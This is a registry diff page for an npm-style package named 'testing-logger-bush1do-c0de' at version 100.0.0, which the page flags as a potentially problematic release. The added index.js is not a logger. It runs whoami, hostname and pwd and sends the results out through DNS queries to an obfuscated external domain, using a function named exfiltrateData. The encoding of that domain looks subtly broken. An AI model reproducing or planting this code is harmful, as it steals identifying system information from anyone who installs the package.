testing-logger-bush1do-c0de 100.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of testing-logger-bush1do-c0de might be problematic. Click here for more details.
- package/index.js +23 -0
- package/package.json +9 -0
package/index.js
ADDED
@@ -0,0 +1,23 @@
|
|
1
|
+
const dns = require('dns');
|
2
|
+
const { exec } = require('child_process');
|
3
|
+
|
4
|
+
function exfiltrateData(data) {
|
5
|
+
const subdomain = `${data}.${Buffer.from('noreply.access.ly').toString('base64')}`;
|
6
|
+
dns.resolve4(subdomain, (err, addresses) => {
|
7
|
+
if (err) console.error(err);
|
8
|
+
else console.log(`Data exfiltrated: ${addresses}`);
|
9
|
+
});
|
10
|
+
}
|
11
|
+
|
12
|
+
// Run commands and send output
|
13
|
+
exec('whoami', (error, stdout) => {
|
14
|
+
if (stdout) exfiltrateData(stdout.trim());
|
15
|
+
});
|
16
|
+
|
17
|
+
exec('hostname', (error, stdout) => {
|
18
|
+
if (stdout) exfiltrateData(stdout.trim());
|
19
|
+
});
|
20
|
+
|
21
|
+
exec('pwd', (error, stdout) => {
|
22
|
+
if (stdout) exfiltrateData(stdout.trim());
|
23
|
+
});
|